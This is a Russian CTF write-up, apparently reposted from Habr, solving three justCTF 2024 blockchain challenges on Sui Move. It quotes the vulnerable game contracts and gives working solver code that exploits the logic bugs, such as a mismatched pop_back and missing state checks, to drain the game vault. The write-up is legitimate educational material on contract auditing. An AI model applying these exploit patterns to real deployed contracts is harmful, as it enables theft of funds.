justCTF 2024 [teaser] — blockchain

от автора

Привет, меня зовут Ратмир Карабут, и сегодня я расскажу Вам о своем опыте участия в CTF.

Среди нескольких задач, которые мне удалось решить на недавнем 24-часовом квалификационном раунде justCTF, три относились к категории блокчейна и в основе своей имели простые игры-контракты на Move, размещенные в тестнете Sui. Каждая представляла собой сервис, принимающий контракт-солвер и проверяющий условия решения при его взаимодействии с опубликованным контрактом-челленджем, чтобы при их выполнении отдать флаг.

Ни одна из них не выглядит особенно трудной, но, судя по количеству решений, немногие из участвующих команд взялись за категорию в целом, поэтому в сравнении с другими сходными по сложности флагами эти три задачи благодаря динамическому скорингу приносили вместе значительное количество очков. Первая по сложности и вовсе скорее напоминала микчек-разминку с тривиальным решением, вторая была более вовлеченной, но загадка в третьей показалась мне действительно забавной, что и вдохновило меня на эту статью. Стоит, тем не менее, описать все по порядку:

The Otter Scrolls — easy (246 points, 33 solves)

Общий смысл первой задачи, The Otter Scrolls, заключался в освоении процесса работы с предоставленным фреймворком — пробежав глазами контракт, понимаем, что нужно только отправить ему вектор с правильной последовательностью индексов, даже не обфусцированной в исходниках контракта, и вызвать после этого необходимые для получения флага функции. Для этого достаточно дописать в тело solve() в выданном sources/framework-solve/solve/sources/solve.move:

public fun solve(     _spellbook: &mut theotterscrolls::Spellbook,     _ctx: &mut TxContext ) {     let spell = vector[1u64,0,3,3,3];     theotterscrolls::cast_spell(spell, _spellbook);     theotterscrolls::check_if_spell_casted(_spellbook); }

После этого нужно прописать в sources/framework-solve/dependency/Move.toml верный адрес челлендж-контракта (его можно получить, напрямую постучавшись к сервису по выданному в условии адресу с помощью nc tos.nc.jsctf.pro 31337):

... [addresses]              admin = "0xfccc9a421bbb13c1a66a1aa98f0ad75029ede94857779c6915b44f94068b921e"                  challenge = "542fe29e11d10314d3330e060c64f8fb9cd341981279432b03b2bd51cf5d489b"    

Запустив после этого HOST=tos.nc.jctf.pro ./runclient.sh (и, конечно, установив Sui ), получаем от сервиса первый флаг.

Dark BrOTTERhood — medium (275 points, 25 solves)

Анализ

Пробежав глазами второй контракт, видим, что основная интересующая нас игровая логика находится после стандартной обвязки в функциях секций SHOP и ADVENTURE TIME. При регистрации игрок получает 137 монет и 10 силы; вызвав функцию find_a_monster(), мы можем добавить в вектор board.quests «монстра» со случайными значениями силы (от 13 до 37) и награды (от 13 до 73), а также состоянием NEW. fight_monster() позволяет нам победить монстра из вектора квестов, если он находится в состоянии NEW, а его сила меньше силы игрока, сбрасывает в этом случае силу игрока к 10 и меняет состояние квеста на WON.

Чтобы получить необходимую для победы силу, придется вызвать buy_sword() — «меч» увеличит силу на 100 (что гарантирует выполнение условия из fight_monster()), но будет стоить игроку 137 монет — то есть все полученные изначально деньги. Так как максимальная награда за монстра — всего 73 монеты, первый же «бой» сделает продолжение игры по ее предполагаемой логике невозможным — по функции buy_flag ясно, что для покупки флага нам потребуется 1337 монет.

Оставшиеся игровые функции — return_home(), смысл которой заключается в простом переключении состояния выбранного квеста с WON на FINISHED, и get_the_reward(), которая проверяет состояние FINISHED и выдает игроку награду. К ней-то нам и следует присмотреться внимательнее:

    #[allow(lint(self_transfer))]     public fun get_the_reward(         vault: &mut Vault<OTTER>,         board: &mut QuestBoard,         player: &mut Player,         quest_id: u64,         ctx: &mut TxContext,     ) {         let quest_to_claim = vector::borrow_mut(&mut board.quests, quest_id);         assert!(quest_to_claim.fight_status == FINISHED, WRONG_STATE);          let monster = vector::pop_back(&mut board.quests);          let Monster {             fight_status: _,             reward: reward,             power: _         } = monster;          let coins = coin::split(&mut vault.cash, (reward as u64), ctx);          coin::join(&mut player.coins, coins);     }

Ключевая деталь, бросающаяся в глаза — несоответствие проверяемого квеста квесту, убираемому из вектора; хотя нам позволено указать индекс квеста, за который мы хотим получить награду, и именно его состояние необходимо установить в FINISHED, из вектора убирается не он сам, а последний элемент вектора — через vector::pop_back() (Vector — The Move Book)!

Эксплуатация

Выходит, что, так как ничто не мешает нам наполнить вектор произвольным (до QUEST_LIMIT — 25) количеством квестов, мы можем потребовать у игры двух монстров, победить первого, купив меч — что позволяют начальные условия — перевести тем самым состояние квеста 0 в WON, затем в FINISHED при помощи return_home(), затем, указав его индекс в get_the_reward(), получить награду за второго — последнего в векторе — монстра, оставив при этом первого в состоянии FINISHED. Вызывая после этого find_a_monster() и get_the_reward() необходимое — неограниченное — количество раз, мы можем гарантированно заработать на флаг примерно за сотню повторений.

Допишем решение в solve():

    public fun solve(         _vault: &mut Otter::Vault<OTTER>,         _board: &mut Otter::QuestBoard,         _player: &mut Otter::Player,         _r: &Random,         _ctx: &mut TxContext,     ) {         Otter::buy_sword(_vault, _player, _ctx);          Otter::find_a_monster(_board, _r, _ctx);         Otter::fight_monster(_board, _player, 0);                 Otter::return_home(_board, 0);                  let mut i = 0;         loop {             Otter::find_a_monster(_board, _r, _ctx);             Otter::get_the_reward(_vault, _board, _player, 0, _ctx);             i = i + 1;             if (i == 100) break;         };          let flag = Otter::buy_flag(_vault, _player, _ctx);         Otter::prove(_board, flag);     } 

После чего, аналогично первой задаче, получаем и прописываем в sources/framework-solve/dependency/Move.toml адрес контракта и, запустив клиент, получаем второй флаг.

World of Ottercraft — hard (271 points, 26 solves)

Анализ

Игра в третьем контракте похожа на предыдущую, но устроена очевидно сложнее — в для начала, теперь отслеживается состояние самого игрока, а не монстра, и их пять — PREPARE_FOR_TROUBLE, ON_ADVENTURE, RESTING, SHOPPING и FINISHED. Далее, теперь для покупки силы (и флага) придется заходить в «таверну», вызвав функцию enter_tavern() — это переключит состояние игрока из необходимого (и начального) RESTING в SHOPPING, что проверяется всеми функциями покупки, и вернет переменную типа TawernTicket, которая по правилам Move должна быть потреблена внутри вызывающего контракта — это можно сделать только при помощи функции checkout(). Таким образом, игрок набирает «корзину» покупок и выходит из «таверны», снова переводя состояние в RESTING. Из register() ясно, что на этот раз мы начинаем с 250 монетами.

Функций покупки теперь четыре — buy_flag() устанавливает соответствующий флаг ticket (который позже проверяется в checkout(), приводя к победе) и увеличивает сумму на 537 монет, buy_sword(), buy_shield() и buy_power_of_friendship() же увеличивают силу игрока на 213, 7 и 9000 за 140, 20 и 190 монет соответственно.

Здесь можно сразу заметить, что сила при покупке увеличивается моментально, не требуя проверки на то, что необходимая для покупки сумма действительно имеется на счету игрока — такая проверка происходит только в самом checkout(), как и проверка на то, что общая стоимость выше 0 — не купив чего-то, выйти из таверны нельзя.

Кроме того, интересно, что, в отличие от функций покупки, checkout() вовсе не проверяет состояние игрока — очевидно, расплатиться можно, и не находясь в «таверне». Запомним это на будущее.

Секция ADVENTURE TIME по-прежнему состоит из четырех функций — find_a_monster(), bring_it_on(), return_home() и get_the_reward(). Разберемся поподробнее:

public fun find_a_monster(board: &mut QuestBoard, player: &mut Player) {     assert!(player.status != SHOPPING && player.status != FINISHED && player.status != ON_ADVENTURE, WRONG_PLAYER_STATE);     assert!(vector::length(&board.quests) <= QUEST_LIMIT, TOO_MANY_MONSTERS);      let quest = if (vector::length(&board.quests) % 3 == 0) {         Monster {             reward: 100,             power: 73         }     } else if (vector::length(&board.quests) % 3 == 1) {         Monster {             reward: 62,             power: 81         }     } else {         Monster {             reward: 79,             power: 94         }     };      vector::push_back(&mut board.quests, quest);     player.status = PREPARE_FOR_TROUBLE; } 

find_a_monster() на этот раз не наделяет монстров случайными параметрами, а раздает награду и силу в зависимости от того, сколько монстров уже есть в векторе. Состояние переключается в PREPARE_FOR_TROUBLE, но интересно, что проверка в функции не требует определенного состояния, а не пускает только игроков в состояниях SHOPPING, FINISHED и ON_ADVENTURE. Деталь на первый взгляд кажется невинной, но все же запомним — вызывать find_a_monster() можно неограниченное количество раз подряд.

public fun bring_it_on(board: &mut QuestBoard, player: &mut Player, quest_id: u64) {     assert!(player.status != SHOPPING && player.status != FINISHED && player.status != RESTING && player.status != ON_ADVENTURE, WRONG_PLAYER_STATE);      let monster = vector::borrow_mut(&mut board.quests, quest_id);     assert!(player.power > monster.power, BETTER_GET_EQUIPPED);      player.status = ON_ADVENTURE;      player.power = 10; //equipment breaks after fighting the monster, and friends go to party :c     monster.power = 0; //you win! wow!     player.quest_index = quest_id; } 

bring_it_on() так же проверяет состояние игрока на несоответствие, но на этот раз вариантов, кроме BRING_IT_ON, не остается — поэтому функция может быть вызвана только после find_a_monster(), что выглядит корректно. Как и в Dark BrOTTERhood, игрок может выбрать произвольного монстра из вектора, чтобы помериться с ним силой. В случае победы состояние переходит в ON_ADVENTURE, сила игрока сбрасывается в 10, сила монстра устанавливается в 0, player.quest_index (изначально 0) — в индекс монстра.

public fun return_home(board: &mut QuestBoard, player: &mut Player) {     assert!(player.status != SHOPPING && player.status != FINISHED && player.status != RESTING && player.status != PREPARE_FOR_TROUBLE, WRONG_PLAYER_STATE);      let quest_to_finish = vector::borrow(&board.quests, player.quest_index);     assert!(quest_to_finish.power == 0, WRONG_AMOUNT);      player.status = FINISHED; } 

return_home() опять же корректно, хотя и неуклюже, проверяет состояние и может быть вызвана, видимо, только после bring_it_on() — статус переключается из ON_ADVENTURE в FINISHED, если сила монстра по индексу в player.quest_index равна нулю.

public fun get_the_reward(vault: &mut Vault<OTTER>, board: &mut QuestBoard, player: &mut Player, ctx: &mut TxContext) {     assert!(player.status != RESTING && player.status != PREPARE_FOR_TROUBLE && player.status != ON_ADVENTURE, WRONG_PLAYER_STATE);      let monster = vector::remove(&mut board.quests, player.quest_index);      let Monster {         reward: reward,         power: _     } = monster;      let coins = coin::split(&mut vault.cash, reward, ctx);      let balance = coin::into_balance(coins);      balance::join(&mut player.wallet, balance);      player.status = RESTING; } 

Наконец, get_the_reward() снова недопроверяет состояние — видим, что кроме подразумеваемого FINISHED получить награду за квест можно не выходя из таверны, то есть в статусе SHOPPING. В отличие от Dark BrOTTERhood, впрочем, похоже, что побежденный монстр корректно убирается из вектора — во всяком случае, используется player.quest_index, и произвольно указать индекс нельзя. Игрок же получает монеты и переходит в изначальный RESTING.

Эксплуатация

Для начала подведем итоги найденным багам:

  1. сила игрока увеличивается в таверне до проверки на платежеспособность

  2. расплатиться по чеку таверны можно откуда угодно, то есть из любого состояния

  3. искать монстров, то есть добавлять их в список, можно много раз подряд (возможно, фича?)

  4. получить награду за побежденного монстра (и вернуться на заслуженный отдых) можно прямо из таверны

Покрутив эти четыре пункта в голове так и эдак, осознаем, во-первых — награду за монстра, полученную в таверне, можно тут же использовать для покупки! В самом деле, если награда получается из таверны с переключением статуса в RESTING, а checkout() статус не проверяет вовсе, получить TawernTicket и расплатиться по нему можно, на деле увеличив, а не уменьшив, сумму на счету — без покупки обойтись нельзя, но для выполнения этого условия мы можем покупать дешевые щиты, которые полученная награда всегда будет перевешивать. Так как get_the_reward() использует неизменный player.quest_index, а также — во-вторых — не выполняет никаких проверок на состояние самого квеста (ведь сила монстра учитывается только в bring_it_on() и return_home()) — то нам было бы достаточно выстроить очередь из монстров на заклание, послушно сдвигающуюся к нашему (предпочтительно нулевому) индексу при каждом новом вызове get_the_reward().

Но — в-третьих — благодаря пункту 3 мы уже знаем, как устроить эту очередь! Впрочем, как и в Dark BrOTTERhood, нам придется замарать руки и честно справиться с одним монстром, чтобы правильно обойти состояния в первый раз — к сожалению, мы никак не можем использовать для этого первый баг, поскольку TawerTicket должен быть использован корректно. Но этого и не нужно — начального капитала вполне хватит для первого сражения. Достаточно только купить меч и набрать полный контингент обманутых монстров при первом проходе через find_a_monster():

public fun solve(     _board: &mut Otter::QuestBoard,     _vault: &mut Otter::Vault<OTTER>,     _player: &mut Otter::Player,     _ctx: &mut TxContext ) {     let mut ticket = Otter::enter_tavern(_player);     Otter::buy_sword(_player, &mut ticket);     Otter::checkout(ticket, _player, _ctx, _vault, _board);          let mut i = 0;     loop {         Otter::find_a_monster(_board, _player);         i = i + 1;         if (i == 25) break;     };          Otter::bring_it_on(_board, _player, 0);     Otter::return_home(_board, _player);     Otter::get_the_reward(_vault, _board, _player, _ctx);      i = 0;     loop {         let mut ticket = Otter::enter_tavern(_player);         Otter::buy_shield(_player, &mut ticket);         Otter::get_the_reward(_vault, _board, _player, _ctx);         Otter::checkout(ticket, _player, _ctx, _vault, _board);         i = i + 1;         if (i == 24) break;     };              let mut ticket = Otter::enter_tavern(_player);     Otter::buy_flag(&mut ticket, _player);     Otter::checkout(ticket, _player, _ctx, _vault, _board); } 

Провернув знакомую процедуру, получаем третий и последний флаг в категории.

Заключение

Как видно, логические уязвимости в этой серии не имели прямого отношения к Move (пожалуй, за исключением ограничения на недоиспользование TawernTicket в третьей, что усложнило возможное решение) — в принципе, задачи могли бы быть реализованы в виде стандартных оффчейновых сервисов. Впрочем, оформлены они были хорошо, решать их было удобно, а повозиться с Sui любопытно, и это принесло здесь 792 из 1325 набранных мной очков — а кроме того, будет хорошей подготовкой к следующему MoveCTF.

На этом все.

Наш сайт: https://radcop.online

Наш ТГ: @radcop_online

Наш YouTube-канал: www.youtube.com/@radcop


ссылка на оригинал статьи https://habr.com/ru/articles/826812/


Комментарии

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *